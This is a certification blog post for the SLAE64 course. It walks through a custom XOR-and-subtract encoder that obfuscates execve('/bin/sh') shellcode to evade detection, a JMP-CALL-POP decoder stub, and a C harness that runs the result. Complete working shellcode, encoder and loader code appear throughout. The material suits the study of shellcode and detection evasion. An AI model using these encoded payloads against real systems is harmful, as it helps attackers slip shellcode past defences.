SLAE64 - Assignment #4 - Custom Encoder
Introduction
This is the blog post for the 4th Assignment of the SLAE64 course, which is offered by PentesterAcademy. The course focuses on teaching the basics of 64-bit Assembly language for the Intel Architecture (IA-x86_64) family of processors on the Linux platform.
The purpose of this assignment is to create a custom encoder (encrypter), which obfuscates the shellcode in order to evade detection. The following operations were used: XOR
each byte with a static key and SUB
a constant number.
My code can be found in my Github: geobour98’s Github.
Encryption
The first thing we want to do is to extract the shellcode from a program that is going to be encrypted. The following Assembly
program from the course materials calls execve
syscall, which is used to execute a program, on the executable “/bin/sh”.
The whole Assembly
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
global _start
section .text
_start:
; first null push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; second null push
push rax
; set RDX
mov rdx, rsp
; push address pf /bin//sh
push rdi
; set RSI
mov rsi, rsp
; call execve
add rax, 59
syscall
In order to extract the shellcode, we first have to compile the Assembly
code. This process consists of assembling and linking, which are described in previous blog posts. So we will use the bash script compile.sh
again.
1
2
3
4
geobour98@slae64-dev:~/SLAE/custom/SLAE64/4_Custom_encoder$ ./compile.sh execve-stack
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
Now, in order to actually extract the shellcode from the execve-stack
executable we use the objdump
one-liner, which displays information from object files as described previously:
1
2
geobour98@slae64-dev:~/SLAE/custom/SLAE64/4_Custom_encoder$ objdump -d ./execve-stack |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"
After that, paste the extracted shellcode at the shellcode
variable of the python script xor-sub-encoder.py
, which performs XOR
operation on each byte of the shellcode with the static key 0xAA
and then subtracts a constant number, which in our case is 1
. It should be noted that the key of XOR
must not exist inside the shellcode, because it will lead to a nullbyte (0x00
).
The whole Python
script is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python
shellcode = ("\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05")
encoded = ""
encoded2 = ""
sub_value = 1
print 'XOR - SUB Encoded shellcode: \n'
for x in bytearray(shellcode):
# XOR encoding
y = (x ^ 0xAA) - sub_value
encoded += '\\x'
encoded += '%02x' % y
encoded2 += '0x'
encoded2 += '%02x,' % y
print encoded
print encoded2
print 'Shellcode Length: %d\n' % len(bytearray(shellcode))
Then we execute the script and get the encrypted shellcode.
1
2
3
4
5
6
geobour98@slae64-dev:~/SLAE/custom/SLAE64/4_Custom_encoder$ ./xor-sub-encoder.py
XOR - SUB Encoded shellcode:
\xe1\x9a\x69\xf9\xe1\x10\x84\xc7\xc2\xc3\x84\x84\xd8\xc1\xf8\xe1\x22\x4c\xf9\xe1\x22\x47\xfc\xe1\x22\x4b\xe1\x28\x69\x90\xa4\xae
0xe1,0x9a,0x69,0xf9,0xe1,0x10,0x84,0xc7,0xc2,0xc3,0x84,0x84,0xd8,0xc1,0xf8,0xe1,0x22,0x4c,0xf9,0xe1,0x22,0x47,0xfc,0xe1,0x22,0x4b,0xe1,0x28,0x69,0x90,0xa4,0xae,
Shellcode Length: 32
We copy the shellcode in NASM
format (0x
) and paste it in the Assembly
program (xor-decoder.nasm
) for decryption.
Decryption
The technique that is used to decrypt and execute the shellcode is called JMP-CALL-POP
. We basically jump to a procedure that performs a call
instruction on another procedure and this inctruction also pushes the address of the next instruction to the stack, which is the shellcode address. Then the decode
procedure is repeated until all the bytes of the shellcode are decrypted and the shellcode can now get executed, meaning “/bin/sh” gets executed. In the following explanation, the program is explained through its flow.
With the following instruction we make a short jump to the call_decoder
procedure:
1
jmp short call_decoder ; jump short to call_decoder procedure
The call_decoder
procedure is declared and the first instruction calls the decoder
procedure and pushes the memory address of the next instruction to the stack, which is the shellcode. Then, the encrypted bytes of the shellcode are initialized inside another procedure called Shellcode
. It’s important to note that we add another byte to the encrypted shellcode from the Python
script because even when we don’t know the length of the shellcode, it will be calculated dynamically. This happens because the last byte that we add is the same as the XOR
key and when the operation happens it will result to a nullbyte. That’s where the shellcode stops. In our case the value 1
is subtracted from each byte and in order to retrieve the initial value, 1
has to be added to the byte. So, the XOR
key is 0xaa
and in Shellcode
we put 0xa9
.
1
2
3
4
call_decoder:
call decoder
Shellcode: db 0xe1,0x9a,0x69,0xf9,0xe1,0x10,0x84,0xc7,0xc2,0xc3,0x84,0x84,0xd8,0xc1,0xf8,0xe1,0x22,0x4c,0xf9,0xe1,0x22,0x47,0xfc,0xe1,0x22,0x4b,0xe1,0x28,0x69,0x90,0xa4,0xae,0xa9
Then we go to the decoder
procedure, where the memory address of shellcode is saved at RSI
register.
1
2
decoder:
pop rsi ; pop memory address pointing at shellcode from the stack
After that, there is the decode
procedure. We first add 1
to the value of the RSI
register, so each byte can be XORed with the key and result to the initial value. Then, the actual XOR
happens between the new value of the RSI
register and the static key 0xAA
. The next conditional jump checks if the result from the previous XOR
operation is 0
, meaning the last byte of the shellcode got decrypted. If so, the shellcode gets executed. Otherwise, RSI
is incremented by 1 to go to the next byte. Finally, the next byte gets decrypted by a short jump at decode
.
1
2
3
4
5
6
7
decode:
add byte [rsi], 0x1 ; add 1 byte
xor byte [rsi], 0xAA ; xor the added value with the key to retrieve initial value
jz Shellcode ; jump if 0 (when the shellcode is decrypted)
inc rsi ; increment esi to go to next byte
jmp short decode ; jump short to decode procedure to continue decrypting
The whole Assembly
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
global _start
section .text
_start:
jmp short call_decoder ; jump short to call_decoder procedure
decoder:
pop rsi ; pop memory address pointing at shellcode from the stack
decode:
add byte [rsi], 0x1 ; add 1 byte
xor byte [rsi], 0xAA ; xor the added value with the key to retrieve initial value
jz Shellcode ; jump if 0 (when the shellcode is decrypted)
inc rsi ; increment esi to go to next byte
jmp short decode ; jump short to decode procedure to continue decrypting
call_decoder:
call decoder
Shellcode: db 0xe1,0x9a,0x69,0xf9,0xe1,0x10,0x84,0xc7,0xc2,0xc3,0x84,0x84,0xd8,0xc1,0xf8,0xe1,0x22,0x4c,0xf9,0xe1,0x22,0x47,0xfc,0xe1,0x22,0x4b,0xe1,0x28,0x69,0x90,0xa4,0xae,0xa9
Compilation and Testing
Now we need to compile xor-decoder.nasm
with the bash script compile.sh
and extract the shellcode from the generated executable with the objdump
one-liner.
1
2
3
4
geobour98@slae64-dev:~/SLAE/custom/SLAE64/4_Custom_encoder$ ./compile.sh xor-decoder
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
1
2
geobour98@slae64-dev:~/SLAE/custom/SLAE64/4_Custom_encoder$ objdump -d ./xor-decoder |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x0e\x5e\x80\x06\x01\x80\x36\xaa\x74\x0a\x48\xff\xc6\xeb\xf3\xe8\xed\xff\xff\xff\xe1\x9a\x69\xf9\xe1\x10\x84\xc7\xc2\xc3\x84\x84\xd8\xc1\xf8\xe1\x22\x4c\xf9\xe1\x22\x47\xfc\xe1\x22\x4b\xe1\x28\x69\x90\xa4\xae\xa9"
After that, we modify the C
program with the shellcode from objdump
, which was provided in the course materials and checks if a shellcode is working.
The whole C
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\xeb\x0e\x5e\x80\x06\x01\x80\x36\xaa\x74\x0a\x48\xff\xc6\xeb\xf3\xe8\xed\xff\xff\xff\xe1\x9a\x69\xf9\xe1\x10\x84\xc7\xc2\xc3\x84\x84\xd8\xc1\xf8\xe1\x22\x4c\xf9\xe1\x22\x47\xfc\xe1\x22\x4b\xe1\x28\x69\x90\xa4\xae\xa9";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Now we need to compile the C
program, by disabling the stack protection as well as making the stack executable:
1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/4_Custom_encoder$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
We test it by just executing shellcode
.
1
2
3
4
5
6
7
8
9
geobour98@slae64-dev:~/SLAE/custom/SLAE64/4_Custom_encoder$ ./shellcode
Shellcode Length: 54
$ id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls
compile.sh execve-stack.nasm shellcode xor-decoder xor-decoder.o
execve-stack execve-stack.o shellcode.c xor-decoder.nasm xor-sub-encoder.py
$ exit
geobour98@slae64-dev:~/SLAE/custom/SLAE64/4_Custom_encoder$
Summary
Both the encoder and decoder (encrypter/decrypter) work and we can successfully decrypt the shellcode at runtime and execute it to get a “/bin/sh” shell.
Next will be the Analysis of shellcode samples generated by msfvenom
(msfpayload)!
SLAE64 Blog Post
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
https://www.pentesteracademy.com/course?id=7
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/Student ID: PA-36167